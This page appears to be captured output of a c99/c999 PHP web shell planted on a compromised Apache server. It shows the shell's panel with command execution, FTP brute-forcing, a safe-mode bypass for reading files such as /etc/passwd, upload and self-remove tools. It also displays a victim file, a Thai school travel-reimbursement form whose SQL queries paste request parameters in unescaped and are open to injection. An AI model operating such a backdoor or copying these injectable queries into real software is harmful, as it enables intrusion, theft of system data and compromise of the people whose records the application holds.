!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddFormMoney.php (23.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once(
"../link/function.php");
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";
        
$myTable1 "budget_year_tb"
        
$myTable2 ="durable_type_tb";
      
        
/*----- personal_tb--------*/
       
     
$query "SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId   LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId LEFT JOIN faculty_tb ON personal_tb.Faculty_code = faculty_tb.Faculty_code  LEFT JOIN  training_tb ON  personal_tb.Teacher_code = training_tb.Teacher_code   LEFT JOIN  formaoffice  ON   training_tb.Teacher_code = formaoffice.Teacher_code    WHERE   training_tb.Teacher_code = '".$_REQUEST["Teacher_code"]." '  and   training_tb.Training_code = '".$_REQUEST["Training_code"]." '  and   formaoffice.codeId = '".$_REQUEST["codeId"]." '       ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);    
    
    
$query "SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId   LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId LEFT JOIN faculty_tb ON personal_tb.Faculty_code = faculty_tb.Faculty_code  LEFT JOIN  training_tb ON  personal_tb.Teacher_code = training_tb.Teacher_code   LEFT JOIN  formaoffice  ON   training_tb.Teacher_code = formaoffice.Teacher_code   LEFT JOIN  formofficemoney ON    formaoffice.codeId = formofficemoney.codeId   WHERE   training_tb.Teacher_code = '".$_REQUEST["Teacher_code"]." '  and   training_tb.Training_code = '".$_REQUEST["Training_code"]." '  and   formaoffice.codeId = '".$_REQUEST["codeId"]." '  and   formofficemoney.monId = '".$_REQUEST["monId"]." '       ";
        
$result5 $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result5);    
        
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>MIS -- Teacher</title>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>
<script language="javascript">
 function check()
 {
    if(document.pc.Matter.value == "")
    {
        alert('กรุณากรอกเรื่อง');
        document.pc.Matter.focus();
        return false;
    }

     if(document.pc.Time_start.value == "")
    {
        alert('กรุณากรอกเวลาออกเดินทาง');
        document.pc.Time_start.focus();
        return false;
    }
    if(document.pc.Time_finish.value == "")
    {
        alert('กรุณากรอกเวลากลับ');
        document.pc.Time_finish.focus();
        return false;
    }
    if(document.pc.Day.value == "")
    {
        alert('กรุณากรอกจำนวนวัน /n ถ้าไม่ถึง 1 วัน ให้ใส่ 0');
        document.pc.Day.focus();
        return false;
    }
    if(document.pc.Hour.value == "")
    {
        alert('กรุณากรอกจำนวนชั่วโมง');
        document.pc.Hour.focus();
        return false;
    }
    else
    {
             document.pc.submit.click();
    }
 }
</script>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1001" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="198" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="803" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="791" border="0" cellspacing="0" cellpadding="0">
      <form id="pc" name="pc" method="post" action="InsertFormMoney.php?codeId=<?=$codeId;?>&Teacher_code=<?=$Teacher_code;?>" onSubmit="return checkData();">
      <tr>
        <td width="791">&nbsp;</td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a> &raquo; <a href="Menu_Form.php?Teacher_code=<?=$Teacher_code;?>">แบบฟอร์มราชการ</a> &raquo; <span class="NOTE">ใบเบิกค่าใช้จ่ายในการเดินทางไปราชการ</span></span></strong></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><table width="788" border="0" cellpadding="0" cellspacing="3">
          <tr height="31">
              <td height="20" colspan="4" align="right" >ส่วนที่ 1  แบบ 8708</td>
            </tr>
            <tr height="31">
              <td height="17" colspan="4" align="left" >&nbsp;</td>
            </tr>
            <tr height="31">
              <td height="17" colspan="4" align="left" ><table width="786" height="20" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="265">สัญญาเงินยืมเลขที่
                    <input name="Acc_code2" type="text" id="Acc_code2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="4" />
/
<input name="Acc_code3" type="text" id="Acc_code3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="4" /></td>
                  <td width="521">วันที่ 
                    <input name="Name5" type="text" id="Name6" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25" readonly="readonly"/>
                  </tr>
                </table></td>
            </tr>
            <tr height="31">
              <td height="17" colspan="4" align="left" >ชื่อผู้ยืมเงิน 
                <input name="Name3" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value="<? echo $rss[First_name];?> <? echo $rss[Teacher_name];?>&nbsp;<? echo $rss[Teacher_lastname];?>" readonly="readonly"/>
                จำนวนเงิน 
                <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10" readonly="readonly"/>
                บาท</td>
              </tr>
            <tr height="29">
              <td height="16" colspan="4" align="center" l>&nbsp;</td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="center" l><strong>ใบเบิกค่าใช้จ่ายในการเดินทางไปราชการ</strong></td>
            </tr>
            <tr height="29">
              <td height="16" colspan="4" l>&nbsp;</td>
              </tr>
            <tr>
              <td height="33" align="left">&nbsp;</td>
              <td height="33" align="left">&nbsp;</td>
              <td height="33" colspan="2" align="left">ที่ทำการ 
                <?php
            
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
         
?></td>
            </tr>
              <td width="243" height="29" align="left">&nbsp;</td>
              <td width="218" height="29" align="left">&nbsp;</td>
              <td height="29" colspan="2" align="left"><script>DateInput('mDate', true, 'DD/MM/YYYY','<?=(isset($rss["Date"]))?ymdT2dmyE($rss["Date"]):date("d/m/Y");?>');</script> </td>
              </tr>
            <tr height="29">
              <td height="29" colspan="2" align="left">เรื่อง 
                <input name="Acc_code4" type="text" id="Acc_code4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขออนุมัติเบิกค่าใช้จ่ายในการเดินทางไปราชการ" size="35" />                 </td>
              <td width="315"></td>
              <td width="1"></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">เรียน &nbsp; ผู้อำนวยการ 
                <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
                </td>
              </tr>
            <tr height="29">
              <td height="25" colspan="4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ตามคำสั่ง/บันทึกที่
                <input name="maNo" type="text" id="maNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value=" <? echo $rss['maNo'] ;?>" size="30" />
                &nbsp; 
                
                ลงวันที่ 
                <input name="#" type="text" id="#" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?     $sday $rss['Date'];
                
$yearthai explode("-",$sday); 
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year"?>" size="20" /></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">ได้อนุมัติให้ข้าพเจ้า
                <input name="Flag" type="hidden" id="Flag" value="<?=$rss['Flag'];?>" />
                <input name="Teacher_code" type="hidden" id="Teacher_code" value="<?=$rss['Teacher_code'];?>" />
                <input name="Name4" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value="<? echo $rss[First_name];?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?>" readonly="readonly"/>
ตำแหน่ง
<input name="Name4" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value="<?=$rss["Position_name"];?>" readonly="readonly"/>
สังกัด 
<?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">พร้อมด้วย
                <input name="WithMon" type="text" id="WithMon" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="100" /></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">เดินทางไปปฏิบัติราชการ 
                <input name="Training_name" type="text" id="Training_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Training_name'];?>" size="85"  />
                <input name="Training_code" type="hidden" id="Training_code" value="<?=$rss['Training_code'];?>" /></td>
            </tr>
            <tr height="29">
              <td height="16" colspan="4" align="left">เรื่อง
                <input name="Matter" type="text" id="Matter" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="80" /><font color='red'>*</font>
จังหวัด
<select name="provinceId" id="provinceId" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" >
    <?php
                       
                                $strSQL3 
" SELECT * FROM   province  Order  By  provinceName   ASC     ";
                                
$result3 mysql_query($strSQL3);
                                while( 
$rs3 mysql_fetch_array($result3) ) {
                            
?>
    <option value="<?=$rs3['provinceId'];?><?php if( $rs3['provinceId']==$rs2['provinceId'] ) echo 'selected'?>>
      <?=$rs3['provinceName'];?>
      </option>
    <?php
                                
# while
                            
?>
  </select></td>
            </tr>
            
            <tr height="29">
              <td height="29" colspan="4" align="left"><table width="786" height="20" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="431">โดยออกเดินทางจาก
                    <input name="MOut" type="radio" id="radio" value="1" />
                    บ้านพัก
                    <input name="MOut" type="radio" id="radio" value="2" />
                    สำนักงาน
                    <input name="MOut" type="radio" id="radio" value="3" />
                    ประเทศไทย ตั้งแต่วันที่ </td>
                  <td width="207"><script>DateInput('mDate1', true, 'DD/MM/YYYY','<?=(isset($rss["Date_start"]))?ymdT2dmyE($rss["Date_start"]):date("d/m/Y");?>');</script></td>
                  <td width="148">เวลา
                    <input name="Time_start" type="text" id="Time_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs['Time_start'];?>" onkeypress="return checkNumeric(); " size="5"  /> 
                   น.<font color='red'>*</font></td>
                </tr>
              </table></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left"><table width="786" height="20" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="432">และกลับถึง
                    <input name="MInput" type="radio" id="radio" value="1" />
                    บ้านพัก
                    <input name="MInput" type="radio" id="radio" value="2" />
                    สำนักงาน
                    <input name="MInput" type="radio" id="radio" value="3" />
                    ประเทศไทย ตั้งแต่วันที่ </td>
                  <td width="207"><script>DateInput('mDate2', true, 'DD/MM/YYYY','<?=(isset($rss["Date_finish"]))?ymdT2dmyE($rss["Date_finish"]):date("d/m/Y");?>');</script></td>
                  <td width="147">เวลา                    
                    <input name="Time_finish" type="text" id="Time_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs['Time_finish'];?>" onkeypress="return checkNumeric();" size="5"  /> 
                    น.<font color='red'>*</font></td>
                </tr>
              </table></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">รวมเวลาไปราชการครั้งนี้ 
                <input name="Day" type="text" id="Day" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value=" " size="10"  onkeypress="return checkNumeric();" />
                <font color='red'>*</font>
                วัน 
                <input name="Hour" type="text" id="Hour" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();"  value="" size="10" />
                <font color='red'>*</font> 
                ชั่วโมง 
                <input name="Minute" type="text" id="Minute" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" value=" " size="10" /> 
                นาที <font color='red'>(ถ้าไม่ถึง 1 วัน ให้ใส่ 0 วัน ตามด้วยจำนวนชั่วโมงที่ไป)</font></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ข้าพเจ้าขอเบิกค่าใช้จ่ายในการเดินทางไปราชการสำหรับ ™ ข้าพเจ้า และ  คณะเดินทาง ดังนี้</td>
              </tr>
            <tr height="29">
              <td height="26" colspan="4" align="left"><table width="770" height="17" border="0" cellpadding="2" cellspacing="2">
                <tr>
                  <td width="463">๑.ค่าเบี้ยเลี้ยงเดินทาง                    </td>
                  <td width="121" align="center">จำนวน 
                    <input name="SMDay" type="text" id="SMDay" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" value="    <?=$rs['SMDay'];?>" size="5" />
                    วัน</td>
                  <td width="166" align="center">รวม
                    <input name="Smtotal" type="text" id="Smtotal" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" value="<?=$rs['Smtotal'];?>" size="10" />
                    บาท</td>
                </tr>
                <tr>
                  <td>๒.ค่าเช่าที่พักประเภท 
                    <input name="ST" type="radio" id="checkbox11" value="Y" />
                    จ่ายจริง 
                    <input name="ST" type="radio" id="checkbox12" value="M" /> 
                    เหมาจ่าย</td>
                  <td align="center">จำนวน
                    <input name="STDay" type="text" id="STDay" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" value="    <?=$rs['STDay'];?>" size="5" />
                    วัน</td>
                  <td align="center">รวม
                    <input name="STtotal" type="text" id="STtotal" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" value="<?=$rs['STtotal'];?>" size="10" />
                    บาท</td>
                </tr>
                <tr>
                  <td colspan="2">๓.ค่าพาหนะ
                    <input name="Vehicle1" type="checkbox" id="checkbox13" value="1" />
                    รถรับจ้าง 
                    <input name="Vehicle2" type="checkbox" id="checkbox14" value="2" />
                    รถปรับอากาศ 
                    <input name="Vehicle3" type="checkbox" id="checkbox15" value="3" />
                    รถไฟ 
                    <input name="Vehicle4" type="checkbox" id="checkbox16" value="4" />
                    เครื่องบิน 
                    <input name="Vehicle5" type="checkbox" id="checkbox17" value="5" /> 
                    น้ำมันเชื้อเพลิง</td>
                  <td align="center">รวม
                    <input name="Vehicletotal" type="text" id="Vehicletotal" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" value="<?=$rs['Vehicletotal'];?>" size="10" />
                    บาท</td>
                </tr>
                <tr>
                  <td colspan="2">๔.ค่าใช้จ่ายอื่น    
                    <input name="Crges1" type="checkbox" id="checkbox18" value="1" /> 
                    ค่าธรรมเนียมผ่านทาง 
                      <input name="Crges2" type="checkbox" id="checkbox19" value="2" />
                      ค่าลงทะเบียน 
                      <input name="Crges3" type="checkbox" id="checkbox20" value="3" />
                      อื่นๆ</td>
                  <td align="center">รวม
                    <input name="Crgestotal" type="text" id="Crgestotal" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" value="<?=$rs['Crgestotal'];?>" size="10" />
บาท</td>
                </tr>
                <tr>
                  <td>&nbsp;</td>
                  <td align="right">รวมทั้งสิ้น </td>
                  <td align="center"><input name="Budget_use" type="text" id="Budget_use" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Budget_use'];?>" onkeypress="return checkNumeric();" size="15" />
                    บาท</td>
                </tr>
              </table></td>
              </tr>
            <tr height="29">
              <td height="26" colspan="4" align="left">จำนวนเงิน (ตัวอักษร) 
                <input name="#" type="text" id="#" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo convertNumberToString($rss['Budget_use']).'ถ้วน';?>" size="30"  /></td>
              </tr>
            <tr height="29">
              <td height="16" colspan="4" align="center">ข้าพเจ้าขอรับรองว่ารายการที่กล่าวมาข้างต้นเป็นความจริง และหลักฐานการจ่ายที่ส่งมาด้วย</td>
              </tr>
            <tr height="29">
              <td height="26" colspan="4" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;จำนวน 
                <input name="Document" type="text" id="Document" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" size="5"  /> 
                ฉบับ รวมทั้งจำนวนเงินที่ขอเบิกถูกต้องตามกฎหมายทุกประการ</td>
              </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left"><table width="756" border="0" align="center" cellpadding="0" cellspacing="3">
                <tr>
                  <th width="296" align="center" scope="col">&nbsp;</th>
                  <th width="337" align="center" class="ALERT" scope="col">&nbsp;</th>
                  </tr>
                <tr>
                  <td height="27" align="center">&nbsp;</td>
                  <td align="center">ลงชื่อ.................................ผู้ขอรับเงิน</td>
                  </tr>
                <tr>
                  <td height="25" align="center">&nbsp;</td>
                  <td align="center">( <? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp; <? echo $rss[Teacher_lastname]?> )</td>
                  </tr>
                <tr>
                  <td align="center">&nbsp;</td>
                  <td align="center">ตำแหน่ง
                    <input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value=" <? $PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
                    </td>
                  </tr>
                </table></td>
              </tr>
            <tr height="29">
              <td height="16" colspan="4" align="left"></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">&nbsp;</td>
              </tr>
            </table>
          <input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" onclick="return(check())"/>
  &nbsp;
  <input name="Reset" type="reset" class="WIDTH60 CURSOR-HAND" id="Reset" value="รีเซ็ต" />
  &nbsp;&nbsp;
  <input name="Button" type="button" id="Reset" value="ยกเลิก" class="CURSOR-HAND WIDTH60" onclick="location.href='FormDurableList.php?Teacher_code<?=$Teacher_code;?>'" /></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0376 ]--